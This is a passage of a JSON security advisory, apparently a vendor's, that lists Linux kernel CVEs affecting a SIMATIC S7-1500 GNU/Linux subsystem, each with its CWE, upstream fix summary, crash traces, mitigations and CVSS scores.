          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50188"
    },
    {
      "cve": "CVE-2024-50205",
      "cwe": {
        "id": "CWE-369",
        "name": "Divide By Zero"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nALSA: firewire-lib: Avoid division by zero in apply_constraint_to_size()\r\n\r\nThe step variable is initialized to zero. It is changed in the loop,\r\nbut if it\u0027s not changed it will remain zero. Add a variable check\r\nbefore the division.\r\n\r\nThe observed behavior was introduced by commit 826b5de90c0b\r\n(\"ALSA: firewire-lib: fix insufficient PCM rule for period/buffer size\"),\r\nand it is difficult to show that any of the interval parameters will\r\nsatisfy the snd_interval_test() condition with data from the\r\namdtp_rate_table[] table.\r\n\r\nFound by Linux Verification Center (linuxtesting.org) with SVACE.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50205"
    },
    {
      "cve": "CVE-2024-50210",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nposix-clock: posix-clock: Fix unbalanced locking in pc_clock_settime()\r\n\r\nIf get_clock_desc() succeeds, it calls fget() for the clockid\u0027s fd,\r\nand get the clk-\u003erwsem read lock, so the error path should release\r\nthe lock to make the lock balance and fput the clockid\u0027s fd to make\r\nthe refcount balance and release the fd related resource.\r\n\r\nHowever the below commit left the error path locked behind resulting in\r\nunbalanced locking. Check timespec64_valid_strict() before\r\nget_clock_desc() to fix it, because the \"ts\" is not changed\r\nafter that.\r\n\r\n[pabeni@redhat.com: fixed commit message typo]",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50210"
    },
    {
      "cve": "CVE-2024-50251",
      "cwe": {
        "id": "CWE-131",
        "name": "Incorrect Calculation of Buffer Size"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_payload: sanitize offset and length before calling skb_checksum()\n\nIf access to offset + length is larger than the skbuff length, then\nskb_checksum() triggers BUG_ON().\n\nskb_checksum() internally subtracts the length parameter while iterating\nover skbuff, BUG_ON(len) at the end of it checks that the expected\nlength to be included in the checksum calculation is fully consumed.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50251"
    },
    {
      "cve": "CVE-2024-50262",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix out-of-bounds write in trie_get_next_key()\n\ntrie_get_next_key() allocates a node stack with size trie-\u003emax_prefixlen,\nwhile it writes (trie-\u003emax_prefixlen + 1) nodes to the stack when it has\nfull paths from the root to leaves. For example, consider a trie with\nmax_prefixlen is 8, and the nodes with key 0x00/0, 0x00/1, 0x00/2, ...\n0x00/8 inserted. Subsequent calls to trie_get_next_key with _key with\n.prefixlen = 8 make 9 nodes be written on the node stack with size 8.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50262"
    },
    {
      "cve": "CVE-2024-50299",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: properly validate chunk size in sctp_sf_ootb()\n\nA size validation fix similar to that in Commit 50619dbf8db7 (\"sctp: add\nsize validation when walking chunks\") is also required in sctp_sf_ootb()\nto address a crash reported by syzbot:\n\n  BUG: KMSAN: uninit-value in sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712\n  sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712\n  sctp_do_sm+0x181/0x93d0 net/sctp/sm_sideeffect.c:1166\n  sctp_endpoint_bh_rcv+0xc38/0xf90 net/sctp/endpointola.c:407\n  sctp_inq_push+0x2ef/0x380 net/sctp/inqueue.c:88\n  sctp_rcv+0x3831/0x3b20 net/sctp/input.c:243\n  sctp4_rcv+0x42/0x50 net/sctp/protocol.c:1159\n  ip_protocol_deliver_rcu+0xb51/0x13d0 net/ipv4/ip_input.c:205\n  ip_local_deliver_finish+0x336/0x500 net/ipv4/ip_input.c:233",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50299"
    },
    {
      "cve": "CVE-2024-50301",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsecurity/keys: fix slab-out-of-bounds in key_task_permission\n\nKASAN reports an out of bounds read:\nBUG: KASAN: slab-out-of-bounds in __kuid_val include/linux/uidgid.h:36\nBUG: KASAN: slab-out-of-bounds in uid_eq include/linux/uidgid.h:63 [inline]\nBUG: KASAN: slab-out-of-bounds in key_task_permission+0x394/0x410\nsecurity/keys/permission.c:54\nRead of size 4 at addr ffff88813c3ab618 by task stress-ng/4362\n\nCPU: 2 PID: 4362 Comm: stress-ng Not tainted 5.10.0-14930-gafbffd6c3ede #15\nCall Trace:\n __dump_stack lib/dump_stack.c:82 [inline]\n dump_stack+0x107/0x167 lib/dump_stack.c:123\n print_address_description.constprop.0+0x19/0x170 mm/kasan/report.c:400\n __kasan_report.cold+0x6c/0x84 mm/kasan/report.c:560\n kasan_report+0x3a/0x50 mm/kasan/report.c:585\n __kuid_val include/linux/uidgid.h:36 [inline]\n uid_eq include/linux/uidgid.h:63 [inline]\n key_task_permission+0x394/0x410 security/keys/permission.c:54\n search_nested_keyrings+0x90e/0xe90 security/keys/keyring.c:793\n\nThis issue was also reported by syzbot.\n\nIt can be reproduced by following these steps(more details [1]):\n1. Obtain more than 32 inputs that have similar hashes, which ends with the\n   pattern \u00270xxxxxxxe6\u0027.\n2. Reboot and add the keys obtained in step 1.\n\nThe reproducer demonstrates how this issue happened:\n1. In the search_nested_keyrings function, when it iterates through the\n   slots in a node(below tag ascend_to_node), if the slot pointer is meta\n   and node-\u003eback_pointer != NULL(it means a root), it will proceed to\n   descend_to_node. However, there is an exception. If node is the root,\n   and one of the slots points to a shortcut, it will be treated as a\n   keyring.\n2. Whether the ptr is keyring decided by keyring_ptr_is_keyring function.\n   However, KEYRING_PTR_SUBTYPE is 0x2UL, the same as\n   ASSOC_ARRAY_PTR_SUBTYPE_MASK.\n3. When 32 keys with the similar hashes are added to the tree, the ROOT\n   has keys with hashes that are not similar (e.g. slot 0) and it splits\n   NODE A without using a shortcut. When NODE A is filled with keys that\n   all hashes are xxe6, the keys are similar, NODE A will split with a\n   shortcut. Finally, it forms the tree as shown below, where slot 6 points\n   to a shortcut.\n\n                      NODE A\n              +------\u003e+---+\n      ROOT    |       | 0 | xxe6\n      +---+   |       +---+\n xxxx | 0 | shortcut  :   : xxe6\n      +---+   |       +---+\n xxe6 :   :   |       |   | xxe6\n      +---+   |       +---+\n      | 6 |---+       :   : xxe6\n      +---+           +---+\n xxe6 :   :           | f | xxe6\n      +---+           +---+\n xxe6 | f |\n      +---+\n\n4. As mentioned above, If a slot(slot 6) of the root points to a shortcut,\n   it may be mistakenly transferred to a key*, leading to a read\n   out-of-bounds read.\n\nTo fix this issue, one should jump to descend_to_node if the ptr is a\nshortcut, regardless of whether the node is root or not.\n\n[1] https://lore.kernel.org/linux-kernel/1cfa878e-8c7b-4570-8606-21daf5e13ce7@huaweicloud.com/\n\n[jarkko: tweaked the commit message a bit to have an appropriate closes\n tag.]",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50301"
    },
    {
      "cve": "CVE-2024-50302",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: zero-initialize the report buffer\n\nSince the report buffer is used by all kinds of drivers in various ways, let\u0027s\nzero-initialize it during allocation to make sure that it can\u0027t be ever used\nto leak kernel memory via specially-crafted report.",
          "title": "Summary"
        },
        {
          "category": "summary",
          "text": "The information disclosure is limited to HID driver report data. Successful exploitation requires the installation of malicious code on the device.",
          "title": "For SIMATIC S7-1500 TM MFP - GNU/Linux subsystem"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-50302"
    },
    {
      "cve": "CVE-2024-53042",
      "cwe": {
        "id": "CWE-662",
        "name": "Improper Synchronization"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_init_flow()\r\n\r\nThere are code paths from which the function is called without holding\r\nthe RCU read lock, resulting in a suspicious RCU usage warning [1].\r\n\r\nFix by using l3mdev_master_upper_ifindex_by_index() which will acquire\r\nthe RCU read lock before calling\r\nl3mdev_master_upper_ifindex_by_index_rcu().\r\n\r\n[1]\r\nWARNING: suspicious RCU usage\r\n6.12.0-rc3-custom-gac8f72681cf2 #141 Not tainted\r\n-----------------------------\r\nnet/core/dev.c:876 RCU-list traversed in non-reader section!!\r\n\r\nother info that might help us debug this:\r\n\r\nrcu_scheduler_active = 2, debug_locks = 1\r\n1 lock held by ip/361:\r\n #0: ffffffff86fc7cb0 (rtnl_mutex){+.+.}-{3:3}, at: rtnetlink_rcv_msg+0x377/0xf60",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-53042"
    },
    {
      "cve": "CVE-2024-53057",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: stop qdisc_tree_reduce_backlog on TC_H_ROOT\n\nIn qdisc_tree_reduce_backlog, Qdiscs with major handle ffff: are assumed\nto be either root or ingress. This assumption is bogus since it\u0027s valid\nto create egress qdiscs with major handle ffff:\nBudimir Markovic found that for qdiscs like DRR that maintain an active\nclass list, it will cause a UAF with a dangling class pointer.\n\nIn 066a3b5b2346, the concern was to avoid iterating over the ingress\nqdisc since its parent is itself. The proper fix is to stop when parent\nTC_H_ROOT is reached because the only way to retrieve ingress is when a\nhierarchy which does not contain a ffff: major handle call into\nqdisc_lookup with TC_H_MAJ(TC_H_ROOT).\n\nIn the scenario where major ffff: is an egress qdisc in any of the tree\nlevels, the updates will also propagate to TC_H_ROOT, which then the\niteration must stop.\n\n\n net/sched/sch_api.c | 2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-53057"
    },
    {
      "cve": "CVE-2024-53059",
      "cwe": {
        "id": "CWE-460",
        "name": "Improper Cleanup on Thrown Exception"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: mvm: Fix response handling in iwl_mvm_send_recovery_cmd()\n\n1. The size of the response packet is not validated.\n2. The response buffer is not freed.\n\nResolve these issues by switching to iwl_mvm_send_cmd_status(),\nwhich handles both size validation and frees the buffer.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-53059"
    },
    {
      "cve": "CVE-2024-53101",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: Fix uninitialized value issue in from_kuid and from_kgid\n\nocfs2_setattr() uses attr-\u003eia_mode, attr-\u003eia_uid and attr-\u003eia_gid in\na trace point even though ATTR_MODE, ATTR_UID and ATTR_GID aren\u0027t set.\n\nInitialize all fields of newattrs to avoid uninitialized variables, by\nchecking if ATTR_MODE, ATTR_UID, ATTR_GID are initialized, otherwise 0.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-53101"
    },
    {
      "cve": "CVE-2024-53124",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: fix data-races around sk sk_forward_alloc.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-53124"
    },
    {
      "cve": "CVE-2024-56631",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\nscsi: sg: Fix slab-use-after-free read in sg_release()\r\nFix a use-after-free bug in sg_release(), detected by syzbot with KASAN:\r\n\r\nThe fix has been tested and validated by syzbot. This patch closes the\r\nbug reported at the following syzkaller link and ensures proper\r\nsequencing of resource cleanup and mutex operations, eliminating the\r\nrisk of use-after-free errors in sg_release().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-56631"
    },
    {
      "cve": "CVE-2024-56672",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nblk-cgroup: Fix UAF in blkcg_unpin_online()\r\n\r\nblkcg_unpin_online() walks up the blkcg hierarchy putting the online pin. To\r\nwalk up, it uses blkcg_parent(blkcg) but it was calling that after\r\nblkcg_destroy_blkgs(blkcg) which could free the blkcg",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-56672"
    },
    {
      "cve": "CVE-2024-57901",
      "cwe": {
        "id": "CWE-664",
        "name": "Improper Control of a Resource Through its Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_packet: fix vlan_get_protocol_dgram() vs MSG_PEEK\n\nBlamed commit forgot MSG_PEEK case, allowing a crash [1] as found\nby syzbot.\n\nRework vlan_get_protocol_dgram() to not touch skb at all,\nso that it can be used from many cpus on the same skb.\n\nAdd a const qualifier to skb argument.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff8a8ccd05 len:29 put:14 head:ffff88807fc8e400 data:ffff88807fc8e3f4 tail:0x11 end:0x140 dev:\u003cNULL\u003e\n------------[ cut here ]------------\n kernel BUG at net/core/skbuff.c:206 !\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 1 UID: 0 PID: 5892 Comm: syz-executor883 Not tainted 6.13.0-rc4-syzkaller-00054-gd6ef8b40d075 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n RIP: 0010:skb_panic net/core/skbuff.c:206 [inline]\n RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216\nCode: 0b 8d 48 c7 c6 86 d5 25 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 5a 69 79 f7 48 83 c4 20 90 \u003c0f\u003e 0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3\nRSP: 0018:ffffc900038d7638 EFLAGS: 00010282\nRAX: 0000000000000087 RBX: dffffc0000000000 RCX: 609ffd18ea660600\nRDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000\nRBP: ffff88802483c8d0 R08: ffffffff817f0a8c R09: 1ffff9200071ae60\nR10: dffffc0000000000 R11: fffff5200071ae61 R12: 0000000000000140\nR13: ffff88807fc8e400 R14: ffff88807fc8e3f4 R15: 0000000000000011\nFS:  00007fbac5e006c0(0000) GS:ffff8880b8700000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fbac5e00d58 CR3: 000000001238e000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  skb_push+0xe5/0x100 net/core/skbuff.c:2636\n  vlan_get_protocol_dgram+0x165/0x290 net/packet/af_packet.c:585\n  packet_recvmsg+0x948/0x1ef0 net/packet/af_packet.c:3552\n  sock_recvmsg_nosec net/socket.c:1033 [inline]\n  sock_recvmsg+0x22f/0x280 net/socket.c:1055\n  ____sys_recvmsg+0x1c6/0x480 net/socket.c:2803\n  ___sys_recvmsg net/socket.c:2845 [inline]\n  do_recvmmsg+0x426/0xab0 net/socket.c:2940\n  __sys_recvmmsg net/socket.c:3014 [inline]\n  __do_sys_recvmmsg net/socket.c:3037 [inline]\n  __se_sys_recvmmsg net/socket.c:3030 [inline]\n  __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3030\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57901"
    },
    {
      "cve": "CVE-2024-57902",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_packet: fix vlan_get_tci() vs MSG_PEEK\n\nBlamed commit forgot MSG_PEEK case, allowing a crash [1] as found\nby syzbot.\n\nRework vlan_get_tci() to not touch skb at all,\nso that it can be used from many cpus on the same skb.\n\nAdd a const qualifier to skb argument.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff8a8da482 len:32 put:14 head:ffff88807a1d5800 data:ffff88807a1d5810 tail:0x14 end:0x140 dev:\u003cNULL\u003e\n------------[ cut here ]------------\n kernel BUG at net/core/skbuff.c:206 !\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 0 UID: 0 PID: 5880 Comm: syz-executor172 Not tainted 6.13.0-rc3-syzkaller-00762-g9268abe611b0 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n RIP: 0010:skb_panic net/core/skbuff.c:206 [inline]\n RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216\nCode: 0b 8d 48 c7 c6 9e 6c 26 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 3a 5a 79 f7 48 83 c4 20 90 \u003c0f\u003e 0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3\nRSP: 0018:ffffc90003baf5b8 EFLAGS: 00010286\nRAX: 0000000000000087 RBX: dffffc0000000000 RCX: 8565c1eec37aa000\nRDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000\nRBP: ffff88802616fb50 